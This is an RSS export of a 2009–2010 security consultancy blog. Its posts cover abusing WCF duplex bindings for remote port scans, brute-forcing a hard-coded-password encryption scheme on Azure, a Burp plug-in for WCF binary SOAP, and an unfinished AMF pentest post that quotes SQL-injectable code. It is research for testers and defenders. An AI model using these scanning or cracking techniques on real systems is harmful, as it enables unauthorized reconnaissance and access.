<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GDS Security Blog</title>
	<atom:link href="http://www.gdssecurity.com/l/b/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gdssecurity.com/l/b</link>
	<description>Gotham Digital Science Security Blog</description>
	<lastBuildDate>Fri, 12 Feb 2010 13:21:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Abusing WCF to Perform Remote Port Scans</title>
		<link>http://www.gdssecurity.com/l/b/2010/02/12/abusing-wcf-to-perform-remote-port-scans/</link>
		<comments>http://www.gdssecurity.com/l/b/2010/02/12/abusing-wcf-to-perform-remote-port-scans/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 13:00:47 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=267</guid>
		<description><![CDATA[Last weekend at Shmoocon, I demonstrated how an attacker can trick certain WCF web services into performing an unauthorized port scan of machines behind a firewall.  For those that were not able to attend the talk, the slides are posted here. The part that covers the port scanning technique may not be clear in isolation, so [...]]]></description>
			<content:encoded><![CDATA[<p>Last weekend at Shmoocon, I demonstrated how an attacker can trick certain WCF web services into performing an unauthorized port scan of machines behind a firewall.  For those that were not able to attend the talk, the <a href="http://www.gdssecurity.com/l/Attacking_WCF_Web_Services-Holyfield-Shmoocon_2010.pdf">slides are posted here</a>. The part that covers the port scanning technique may not be clear in isolation, so I’ll try and explain it in detail. The problem is related to the WSDualHttpBinding, so in order to understand how the scanning technique works you must first understand some WSDualHttpBinding basics. </p>
<p><strong>The WSDualHttpBinding</strong></p>
<p>The <a href="http://msdn.microsoft.com/en-us/library/system.servicemodel.wsdualhttpbinding.aspx">WSDualHttpBinding</a> is one of several “Duplex” WCF bindings.  The term Duplex refers to the bi-directional nature of the communication channel, meaning that both the client and the service can directly send messages to each other.   This is ideal for scenarios where a service needs to “push” data down to a client, rather than the alternative of constantly polling the server for a callback.   In order to do this over HTTP, which is by nature a one-way protocol, WCF sets up a dedicated HTTP listener port on the client that accepts incoming HTTP requests from the service (known as the callback channel).   If you are like me, you probably just raised an eyebrow when I said that WCF sets up an inbound HTTP listener on the client machine.  This scenario sounds odd from a security perspective, which is what initially caught my eye.</p>
<p>The first step in establishing a session with WSDualHttpBinding requires the client and server to negotiate the duplex connection.  This negotiation is a required part of the connection sequence, and is the mechanism that can be abused to perform remote port scanning.  The negotiation starts with the client sending a “CreateSequence” SOAP request to the web service endpoint.  A typical CreateSequence request is shown below.</p>
<p><img src="http://www.gdssecurity.com/l/wsd1.png" alt="" /></p>
<p>As you can see, the CreateSequence request includes a “ReplyTo” address.  This address is the URL of the callback channel at which the client expects to receive callback requests from the service.  When the service receives this request, it reacts by initiating a “CreateSequenceResponse” to the ReplyTo address, and then responding to the original request with a “202 Accepted”.  Conceptually this is represented by the diagram below.  Note that the circled numbers represent the order in which each request and response occurs. <br />
<img src="http://www.gdssecurity.com/l/wsd2.png" alt="" /><br />
The scenario above represents the intended chain of events for a CreateSequence negotiation.  There are a few important things to note:</p>
<ul>
<li>There are two separate HTTP conversations occurring.  One is between the client and the service over port 80, and the other is between the service and the client on port 8000.</li>
<li>When the service receives a CreateSequence request, it will immediately attempt to issue the CreateSequenceResponse request to the address that is passed within the ReplyTo value.  This does NOT have to be the same address (or port) where the CreateSequence request originated from. </li>
</ul>
<p>Next, let’s introduce another slightly more complex example.  In this scenario, we have 4 machines:</p>
<ul>
<li>The client, which in this case will end up being the bad guy</li>
<li>The WCF service that uses WSDualHttpBinding</li>
<li>Two unrelated hosts that will serve as targets</li>
</ul>
<p>The client in this case will send two CreateSequence requests to the service.  The first request will include a ReplyTo address of Target1, and the second request will include a ReplyTo address of Target2.  Again, the circled numbers represent the order in which each request and response occurs. <br />
<img src="http://www.gdssecurity.com/l/wsd3.png" alt="" /><br />
This diagram is much more interesting as it depicts what is certainly NOT an intended use case.  As illustrated above, the first CreateSequence request (1) causes the service to initiate a connection to Target1 on port 8000, just as the second CreateSequence request  (4) does to Target2.   Even more interesting is that the “Accepted” HTTP response (7) to the second CreateSequence request (4) does not occur until AFTER the connection to Target1 times out (5).  This means that the delay between the second CreateSequence (4) and the subsequent &#8220;Accepted&#8221; response (7) was directly related to the response time of the first CreateSequenceResponse attempt (5).  It appears that a WCF service will not respond to a new CreateService request until all previous CreateSequenceResponse requests have either been acknowledged or timed out. </p>
<p><strong>What Does this Mean?</strong></p>
<p>Based on the behavior described above, the CreateSequence HTTP response delay is an effective mechanism to determine the state of a prior connection request.  By issuing multiple requests to different hosts and ports, we can use this behavior to probe remote hosts from the server hosting the WCF service.  Depending on the connectivity available from the host, we can even probe systems that would not otherwise be available to us (such as on an internal network or DMZ). </p>
<p>In order to prove this theory, I wrote a utility to issue successive CreateSequence requests to a WCF service that each have a different ReplyTo address and/or port.  It measures the time between a CreateSequence request and the &#8220;202 Accepted&#8221; response in an attempt to determine whether a previous request was successful.  The utility is fairly simple and operates as follows (assume that <strong>Service</strong> is the WCF service we want to mis-use, and that the <strong>Target</strong> is the machine we want to port scan): </p>
<ul>
<li><strong>Request #1:</strong>  Issue a CreateSequence request to <strong>Service</strong> which will ReplyTo <strong>Target</strong> on <strong>Port 1</strong>.  The delay (if any) on this first request is not associated with a connection we initiated so the timing of this first response is ignored. </li>
<li><strong>Request #2:</strong> Issue another CreateSequence request to <strong>Service</strong> which will ReplyTo <strong>Target</strong> on <strong>Port2</strong>.  A timer is used to measure the time between this request the “202 Accepted” response from <strong>Service</strong>.   This response will not occur until the previous CreateSequenceResponse has been acknowledged or timed out.  As such, this delay will be used to infer the outcome of the probe caused by Request #1.</li>
<li><strong>Request #3:</strong>  Issue a CreateSequence request to <strong>Service</strong> which will ReplyTo <strong>Target</strong> on <strong>Port3</strong>.  A timer is used to measure the time between this request the “202 Accepted” response from <strong>Service</strong>.   This response will not occur until the previous CreateSequenceResponse has been acknowledged or timed out.  As such, this delay will be used to infer the outcome of the probe caused by Request #2.</li>
<li>and on and on and on…</li>
</ul>
<p><strong>Proof of Concept</strong></p>
<p>As a proof of concept, I deployed an instance of the <a href="http://msdn.microsoft.com/en-us/library/ms751450.aspx">MSDN CalculatorDuplex</a> sample service to a virtual machine in the Microsoft Azure cloud to use as a test case.  This service is a simple calculator web service that uses the WCF WSDualHttpBinding.  As it turns out, the Azure environment was a great place to test this concept since Azure VMs actually reside on an internal private 10.x.x.x network behind a firewall.  Conceptually, this is represented in the diagram below (note, this is an over simplified diagram based on what I have seen in my limited testing with Azure).</p>
<p><img src="http://www.gdssecurity.com/l/wsd4.png" alt="" /></p>
<p>Based on an analysis of the VM running the sample service, it also appeared that the VMs within the Azure environment typically run IIS on port 20000.  I used the utility to remotely scan other VMs within the 10.x.x.x address space on this port through requests to the Calculator service.  The results from the initial test are shown in the screenshot below.
<div style="text-align: center;"><img src="http://www.gdssecurity.com/l/wsd5.png" alt="" /></div>
<p> </p>
<p>As you can see, the result of each probe is inferred based on the average response time of the other requests.  The scan above shows that four of the probes returned very quickly (around 114 ms) while the others appear to have timed out.  The probes that do not time out in this case are the other internal VMs that are up and running IIS on port 20000.  As a second test, I used the utility to probe ports on the localhost of the machine running the Calculator service.  As you can see below, the probe to port 3389 times out while the others return after about 1 second.  So in this case, the Remote Desktop service is running on the localhost.</p>
<p>
<div align="center"><img src="http://www.gdssecurity.com/l/wsd6.png" alt="" /></div>
</p>
<p>So to summarize, this appears to be a potential design flaw within the WCF create sequence negotiation process.  As a result, any service that uses this binding can be abused by a remote user to scan other hosts (even those behind a firewall that they may not otherwise have access to).  Certain web-based attacks can also be proxied through these services since the remote attacker has the ability to control not only the target address and port, but also the complete URI that will be requested.  The source code for the scanner utility is <a href="http://www.gdssecurity.com/l/t/WsDualScanner.cs">posted here</a> for reference.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2010/02/12/abusing-wcf-to-perform-remote-port-scans/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Breaking Password Based Encryption with Azure</title>
		<link>http://www.gdssecurity.com/l/b/2010/01/29/breaking-password-based-encryption-with-azure/</link>
		<comments>http://www.gdssecurity.com/l/b/2010/01/29/breaking-password-based-encryption-with-azure/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 21:02:20 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
				<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=223</guid>
		<description><![CDATA[During a recent security review, we came across a .NET application that was encrypting query string data to thwart parameter based attacks. We had not been given access to the source code, but concluded this since each .aspx page was being passed a single Base64 encoded parameter which, when decoded, produced binary data with varying [...]]]></description>
			<content:encoded><![CDATA[<p>During a recent security review, we came across a .NET application that was encrypting query string data to thwart parameter based attacks. We had not been given access to the source code, but concluded this since each .aspx page was being passed a single Base64 encoded parameter which, when decoded, produced binary data with varying 16 byte blocks (likely AES considering it is the algorithm of choice for many .NET developers).</p>
<p><strong>The Code</strong></p>
<p>After doing some research (aka plugging the words &#8220;.NET”, “Query String” and “Encryption&#8221; into Google), we identified several references to a piece of code that had been written and published a few years back for encrypting query strings in .NET. The code we found even used the same parameter name as our application did to pass the encrypted query string data to each page, so we were fairly confident it was the code they were using.</p>
<p>Having written <a href="http://spf.codeplex.com/" target="_blank">SPF</a>, I am always interested to see how other applications implement cryptography since I know it is not always easy to do properly. In addition to the common problem of re-using the same IV for every encrypted query string, we noticed that the key was entirely derived from a static password embedded in the code (it was being derived using the .NET Framework PasswordDeriveBytes class directly from the literal string value &#8220;key&#8221;).</p>
<p>For reference, I&#8217;ve included the Decrypt method below:</p>
<pre>  private const string ENCRYPTION_KEY = "key";

  public static string Decrypt(string inputText)
  {
    RijndaelManaged rijndaelCipher = new RijndaelManaged();
    byte[] encryptedData = Convert.FromBase64String(inputText);
    byte[] salt = Encoding.ASCII.GetBytes(ENCRYPTION_KEY.Length.ToString());
    PasswordDeriveBytes secretKey = new PasswordDeriveBytes(ENCRYPTION_KEY, salt);

    using (ICryptoTransform decryptor = rijndaelCipher.CreateDecryptor(secretKey.GetBytes(32),</pre>
<pre>    secretKey.GetBytes(16)))
    {
      using (MemoryStream memoryStream = new MemoryStream(encryptedData))
      {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
        {
          byte[] plainText = new byte[encryptedData.Length];
          int decryptedCount = cryptoStream.Read(plainText, 0, plainText.Length);
          return Encoding.Unicode.GetString(plainText, 0, decryptedCount);
        }
      }
    }
  }</pre>
<p>Password based encryption schemes like this are common in many applications, since the key can easily be represented by a word or passphrase.  The nice thing from an attacker’s perspective is that regardless of how large the real encryption key is, the feasibility of a brute force attack is largely dependent on the length and complexity of the <strong>password</strong> used to derive the key and not the key itself.  So for this example, even though they are using 256-Bit AES encryption (generally considered secure), the password used to generate the key is easily brute forced since it is only 3 characters.</p>
<p>Given the code we found, the first and obvious test was to try decrypting our query string values with the same &#8220;key&#8221; string.  Sadly that didn&#8217;t work.  After trying several educated guesses at what we <em>thought </em>could be the password, I decided to clone the decryption logic into a .NET console utility and run a recursive alphanumeric brute force against the password. The approach was rather simple:</p>
<ul>
<li>Take one of our encrypted samples</li>
<li>Loop through every alphanumeric character combination</li>
<li>Using the identical logic shown above, derive the key and decrypt</li>
</ul>
<p>The caveat here is that we really don&#8217;t know what value to expect when it decrypts, but chances are it should be just ASCII text (and hopefully a query string name/value pair).  The good news is that most of the keys we generate will generate a <strong>CryptographicException</strong>, so we can rule out any key value that results in this exception.   For safety’s sake I decided to convert the results of every successful decrypt to ASCII and save for further review if needed.  </p>
<p><strong>The Cloud</strong></p>
<p>After running the utility for an hour or so I realized that a laptop Windows instance was not the optimal environment for running a brute force password crack (not to mention it rendered the machine pretty useless in the meantime).  Having recently signed up for a test account on the Microsoft Azure cloud platform for some unrelated WCF testing, I thought this would be a great opportunity to test out the power of the Microsoft cloud.  Even better, Azure is FREE to use until February 1, 2010.</p>
<p>The concept of using the cloud to crack passwords is not new.  Last year, David Campbell wrote about how to <a href="http://news.electricalchemy.net/2009/10/cracking-passwords-in-cloud.html" target="_blank">use Amazon EC2 to crack a PGP passphrase</a>.  Having never really worked with the Azure platform (aside from registering for a test account), I first needed to figure out the best way to perform this task in the environment. Windows Azure has two main components, which both run on the Azure Fabric Controller (the hosting environment of Windows Azure):</p>
<ul>
<li><span style="text-decoration: underline;">Compute</span> &#8211; Provides the computation environment.  Supports &#8220;Web Roles&#8221; (essentially web services and web applications) and &#8220;Worker Roles&#8221; (services that run in the background)</li>
<li><span style="text-decoration: underline;">Storage</span> &#8211; Provides scalable storage (Blobs, Tables, Queue)</li>
</ul>
<p>I decided to create and deploy a &#8220;Worker Role&#8221; to run the password cracking logic, and then log all output to a table in the storage layer.  I’ll spare you the boring details of how to port a console utility to a Worker Role, but it’s fairly simple.  The first run of the Worker Role was able to produce approximately 1,000,000 decryption attempts every 30 minutes, or about 555 tries/second.  This was definitely faster than the speed I was getting on the laptop, but not exactly what I was hoping for from &#8220;the cloud&#8221;. </p>
<p>I did some research on how the Fabric Controller allocates resources to each application, and as it turns out there are 4 VM sizes available as shown below:</p>
<p> </p>
<table border="0" cellspacing="0" cellpadding="0" width="609">
<tbody>
<tr>
<td width="173"><strong>Compute Instance Size</strong></td>
<td width="91"><strong>CPU</strong></td>
<td><strong>Memory</strong></td>
<td width="130"><strong>Instance Storage</strong></td>
<td width="132"><strong>I/O Performance</strong></td>
</tr>
<tr>
<td width="173" valign="top">Small</td>
<td width="91" valign="top">1.6 GHz</td>
<td valign="top">1.75 GB</td>
<td width="130" valign="top">225 GB</td>
<td width="132" valign="top">Moderate</td>
</tr>
<tr>
<td width="173" valign="top">Medium</td>
<td width="91" valign="top">2 x 1.6 GHz</td>
<td valign="top">3.5 GB</td>
<td width="130" valign="top">490 GB</td>
<td width="132" valign="top">High</td>
</tr>
<tr>
<td width="173" valign="top">Large</td>
<td width="91" valign="top">4 x 1.6 GHz</td>
<td valign="top">7 GB</td>
<td width="130" valign="top">1,000 GB</td>
<td width="132" valign="top">High</td>
</tr>
<tr>
<td width="173" valign="top">Extra large</td>
<td width="91" valign="top">8 x 1.6 GHz</td>
<td valign="top">14 GB</td>
<td width="130" valign="top">2,040 GB</td>
<td width="132" valign="top">High</td>
</tr>
</tbody>
</table>
<p> </p>
<p>The size of the VM used by the Worker Role is controlled through the role properties that get defined when the role is configured in Visual Studio.  By default, roles are set to use the &#8220;small&#8221; VM, but this is easily changed to another size.  The task at hand is all about CPU, so I increased the VM to &#8220;Extra Large&#8221; and redeployed the worker role. </p>
<p>Expecting significant performance gains, I was disappointed to see that the newly deployed role was running at the <strong>same exact speed as before</strong>.  The code was clearly not taking full advantage of all 8 cores, so a little more research led me to the Microsoft Task Parallel Library (TPL).  TPL is part of the Parallel Extensions, a managed concurrency library developed by Microsoft for .NET that was specifically designed to make running parallel processes in a multi-core environment easy.  Parallel Extensions are included by default as part of the .NET 4.0 Framework release.  Unfortunately Azure does not currently support .NET 4.0, but luckily TPL is supported on .NET 3.5 through the <a href="http://msdn.microsoft.com/en-us/devlabs/ee794896.aspx" target="_blank">Reactive Extensions for .NET</a> (Rx).</p>
<p>Once you install Rx, you can reference the <strong>System.Threading.Tasks</strong> namespace which includes the <strong>Parallel</strong> class.  Of specific interest for our purpose is the <strong>Parallel.For</strong> method.  Essentially, this method executes a <strong>for</strong> loop in which iterations may run in parallel.  Best of all, the job of spawning and terminating threads, as well as scaling the number of threads according to the number of available processors, is done automatically by the library.</p>
<p>As expected, this was the secret sauce I had been missing.  Once re-implemented with a <strong>Parallel.For</strong> loop, the speed increased significantly to 7,500,000 decryption attempts every 30 minutes, or around 4,200 tries/second.   That’s 1M tries every 4 minutes, meaning we can crack a 5 character alphanumeric (lowercase) password in about 4 hours, or the same 6 character equivalent in about 6 days.   This is still significantly slower than the speed obtained by Campbell’s experiment, but then again he was using a distributed program designed specifically for fast password cracking (as opposed to the proof of concept code we are using here), not to mention I am also logging output to a database in the storage layer.  At the time of writing, the password hasn’t cracked but the worker process has only been running for about 24 hours (so there’s still plenty of time).  What remains to be seen is how fast this same code would run in the Amazon EC2 cloud, which may be a comparison worth doing.</p>
<p>The important takeaway here is not about the power of the cloud (since there’s nothing we can do to stop it), but rather about Password Based Encryption.  Regardless of key length and choice of algorithm, the strength of your encryption always boils down to the weakest link&#8230;which in this case, is the choice of password.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2010/01/29/breaking-password-based-encryption-with-azure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WCF Binary Soap Plug-In for Burp</title>
		<link>http://www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 00:38:55 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=206</guid>
		<description><![CDATA[Update 2010:  With the official release of Burp Suite v1.3, both plug-ins discussed in this post can be used with either Pro or Free versions of Burp.
If you run into a Silverlight application that consumes WCF, there’s a good chance it will use Binary XML Message Encoding to send data between the Silverlight client and the [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em>Update 2010:  With the official release of Burp Suite v1.3, both plug-ins discussed in this post can be used with either Pro or Free versions of Burp.</em></strong></p>
<p>If you run into a Silverlight application that consumes WCF, there’s a good chance it will use Binary XML Message Encoding to send data between the Silverlight client and the WCF endpoint. These messages usually include a <code>Content-Type: application/soap+msbin1</code> header to indicate that they are using <a href="http://msdn.microsoft.com/en-us/library/cc219175(PROT.10).aspx">Microsoft’s .NET Binary Format for SOAP (NBFS)</a>. From an attack perspective, the main problem with this encoding format is that you can’t simply edit requests or responses on-the-fly like you would with text-based SOAP messages, since the recipient of the message expects the data to be properly encoded (otherwise it will throw an exception) and, as such, will throw an exception if it’s not.</p>
<p>My initial research into what security tools support NBFS didn’t turn up much. The only option I found were two WCF Binary Inspectors for <a href="http://www.fiddler2.com/fiddler2/">Fiddler</a> (one <a href="http://tfstoys.codeplex.com/">here</a> written by Richard Berg, and another <a href="http://code.msdn.microsoft.com/wcfbinaryinspector">here</a> written by Samuel Jack). Both of these inspectors are essentially plug-ins for Fiddler that add support to view NBFS encoded data. Originally these both looked like the solution I was after, however upon further analysis I realized that while those plug-ins let you VIEW encoded messages, they don’t let you EDIT them. I decided it would be a worthwhile effort to try and leverage the plug-in architecture of <a href="http://portswigger.net/suite/">Burp Suite</a> (through use of the <a href="http://blog.portswigger.net/2009/04/using-burp-extender.html">BurpExtender</a> interface) to write a NBFS plug-in for Burp.</p>
<p><strong>The Solution (sort of)</strong><br />
Not wanting to re-invent the wheel, I figured I would leverage the work that had already been done with Fiddler by calling into one of the existing Fiddler libraries from Burp. I chose to use Richard Berg’s code since it looks like it can be ported entirely to Java down the road if needed (it doesn’t rely on WCF’s built-in decoder). Luckily for me, his code also had all of the methods needed to both encode and decode message data.</p>
<p>The way the plug-in works is pretty simple…when a request comes in, the <code>processProxyMessage</code> method of BurpExtender is used to check whether the requests should be decoded and, if so, passes the request data to the C# library. The C# library decodes the message and returns the plain-text version back to Burp. As requests exit Burp, the <code>processHttpMessage</code> method of BurpExtender is used to determine whether the request needs to be re-encoded and, if so, calls into the C# library again.</p>
<p>There are a couple of interesting points to note here:</p>
<ul>
<li>The <code>processHttpMessage</code> of BurpExtender is currently only supported in the Professional version of Burp Suite. It is my understanding that this method will be supported in the Free version starting with the <a href="http://blog.portswigger.net/2009/11/burp-suite-feature-requests-please.html">next release</a> (v1.3) but for now only licensed users of Burp pro have access to this extender method.</li>
<li>Both the <code>processProxyMessage</code> AND <code>processHttpMessage </code>methods of BurpExtender alway fire BEFORE a response can be edited by the user. Unfortunately this precludes the Plug-in from being able to re-encode RESPONSE messages should the user want to edit one.</li>
</ul>
<p>What this means is that you’ll need to resort to the proxy chaining as a workaround for this if you use the Burp Free Edition (explained in more detail below). Additionally, even if you use Burp Professional Edition, you’ll need to use this workaround if you want to edit RESPONSE data (REQUEST data can be edited on the fly with a single instance of Burp Professional).</p>
<p><strong>Plug-In Versions</strong><br />
There are two version of the Burp plug-in available:</p>
<p><a href="http://www.gdssecurity.com/l/t.php">Burp Professional Edition Plug-in</a>: Allows binary requests to be edited on the fly. This version does not support editing of response data. Pro users can use the Free Edition Plug-in with Burp Professional for editing response data.</p>
<p><a href="http://www.gdssecurity.com/l/t.php">Burp Universal Plug-in</a>: The Universal Plug-in works with both Free and Professional Editions of Burp and supports editing of binary REQUESTS and RESPONSES. The caveat to using this version of the plug-in is that you’ll need to chain two burp instances together as outlined in the diagram below for the plugin to work properly.</p>
<div><img src="/l/burp_chain.gif" alt="" /></div>
<p>The purpose of chaining two proxies together is as follows:</p>
<ul>
<li>The first instance handles decoding requests, intercepting (and editing) requests, and re-encoding edited responses. Set this instance to intercept REQUESTS only (not responses) and to use the 2nd proxy as the next hop.</li>
<li>The second instance handles re-encoding edited requests, decoding responses, and intercepting (and editing) responses. Set this instance to intercept RESPONSES only (not requests).</li>
</ul>
<p>Each proxy will add or remove a custom header (<code>X-WCF-Proxy: must-encode</code>) to edited requests/responses which they use to notify each other of whether re-encoding of a message is necessary. This custom header is removed when read by the plug-in, so it shouldn’t ever get disclosed to the target system.</p>
<p>Albeit it slightly crude, I didn’t see much in the way of a better work around (I am certainly open to suggestions if anyone has any). It should be noted that this workaround is ONLY necessary if you are using the Free Edition (1.2.x) of Burp Suite OR if you want to want to edit WCF binary response content using Burp Professional Edition. Editing WCF binary request data is supported with a single instance of the Burp Professional Plug-In.</p>
<p><strong>Next Steps</strong><br />
These plug-ins were created as a proof of concept for the talk at <a href="http://www.gdssecurity.com/l/b/2009/11/19/slides-from-appsec-dc-posted/">OWASP AppSec DC 2009</a>. Looking forward, the C# decoding library should easily port to pure Java since it doesn’t make use of the native WCF decoding classes. This would not only eliminate cross-language calls but would also make the plug-in platform independent (since the implementation would be in pure Java). The drawback to this approach, of course, is that we would be using a home grown decoder for a proprietary Microsoft protocol that could change down the road.</p>
<p>In any case, hopefully the plug-ins will be useful in the short term until more security tools include native support for NBFS messages. You can find both versions of the plug-in <a href="http://www.gdssecurity.com/l/t.php">available for free on our tools page</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/11/19/wcf-binary-soap-plug-in-for-burp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Slides from AppSec DC Posted</title>
		<link>http://www.gdssecurity.com/l/b/2009/11/19/slides-from-appsec-dc-posted/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/11/19/slides-from-appsec-dc-posted/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 05:43:27 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=178</guid>
		<description><![CDATA[Slides from the “Attacking WCF Web Services” talk I presented last week at OWASP AppSec DC 2009 are now available for download.  We’ve also released the WCF Binary Soap Plug-In for Burp that was demonstrated during the presentation.  There will be a separate blog post dedicated to this plug-in published later today, so I definitely recommend reading [...]]]></description>
			<content:encoded><![CDATA[<p>Slides from the “Attacking WCF Web Services” talk I presented last week at <a href="http://www.owasp.org/index.php/OWASP_AppSec_DC_2009">OWASP AppSec DC 2009 </a>are now <a href="http://www.gdssecurity.com/l/Attacking_WCF_Web_Services-Holyfield-OWASP_AppSec_DC_2009.pdf">available for download</a>.  We’ve also released the <a href="http://www.gdssecurity.com/l/t.php">WCF Binary Soap Plug-In for Burp</a><strong> </strong>that was demonstrated during the presentation.  There will be a separate blog post dedicated to this plug-in published later today, so I definitely recommend reading it to get the full scoop on what it does and how to use it.</p>
<p>Overall, the conference was great.  Aside from the presentations, the highlight for me was when we ran into Jason Alexander (aka <a href="http://en.wikipedia.org/wiki/George_Costanza">George Costanza</a>) at dinner on Thursday night.  These pretzels are making me thirsty!!</p>
<p>&nbsp;</p>
<div align="center">
<a href="/l/jalexander.jpg" target="new"><img src="/l/jalexander_small.jpg" border="0"/></a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/11/19/slides-from-appsec-dc-posted/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pentesting Adobe Flex Applications with a Custom AMF Client</title>
		<link>http://www.gdssecurity.com/l/b/2009/11/11/pentesting-adobe-flex-applications-with-a-custom-amf-client/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/11/11/pentesting-adobe-flex-applications-with-a-custom-amf-client/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 15:27:23 +0000</pubDate>
		<dc:creator>Marcin Wielgoszewski</dc:creator>
				<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=172</guid>
		<description><![CDATA[At GDS, we&#8217;ve seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer.  Vulnerabilities in Flash aside (i.e., Dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire. [...]]]></description>
			<content:encoded><![CDATA[<p>At GDS, we&#8217;ve seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer.  Vulnerabilities in Flash aside (i.e., <a href="http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf" title="Application-Specific Attacks: Leveraging the ActionScript Virtual Machine">Dowd</a> [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire.  The <a href="http://opensource.adobe.com/wiki/download/attachments/1114283/amf3_spec_05_05_08.pdf" title="AMF Specfication 3">AMF specification</a> [PDF], has been implemented in various languages, including Java, Python, PHP, and Ruby.  While there are tools out there like <a href="http://portswigger.net/suite/" title="Burp Suite">Burp</a> and <a href="http://deblaze-tool.appspot.com/" title="Deblaze">Deblaze</a> which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF.  Being a Python fan myself, let&#8217;s walk through the process of using the <a href="http://pyamf.org/" title="PyAMF">PyAMF</a> library to quickly write a custom AMF test client.</p>
<p>Adobe provides several <a href="http://opensource.adobe.com/wiki/display/blazeds/Release+Builds" title="BlazeDS Release Builds">turnkey BlazeDS applications</a> to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS).  After downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in the <a href="http://opensource.adobe.com/svn/opensource/blazeds/trunk/apps/samples/WEB-INF/src/flex/samples/crm/employee/EmployeeDAO.java?rev=11623">EmployeDAO.java</a> class (code snippet below).  This vulnerable application will serve as a perfect example for my custom test client.</p>
<p>
<pre>&nbsp;
public class EmployeeDAO {
..snip..

public List findEmployeesByName(String name) throws DAOException
&nbsp;&nbsp;&nbsp;&nbsp;List list = new ArrayList();
&nbsp;&nbsp;&nbsp;&nbsp;Connection c = null;
&nbsp;&nbsp;&nbsp;&nbsp;try {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c = ConnectionHelper.getConnection();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Statement s = c.createStatement();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;first_name LIKE '%" + name + "%' OR
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;last_name LIKE '%" + name + "%' ORDER BY last_name");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Employee employee;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (rs.next())
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;..snip..
&nbsp;
</pre>
</p>
<p>To exploit this, we will write a client that can make requests to the remoting destination.  In Python, we construct an AMF request like so using the <a href="http://docs.pyamf.org/current/api/pyamf.flex.messaging.RemotingMessage-class.html" title="PyAMF Class RemotingMessage">pyamf.flex.messaging.RemotingMessage</a> class:</p>
<p>
<pre>&nbsp;
request = RemotingMessage(operation="findEmployeesByName",
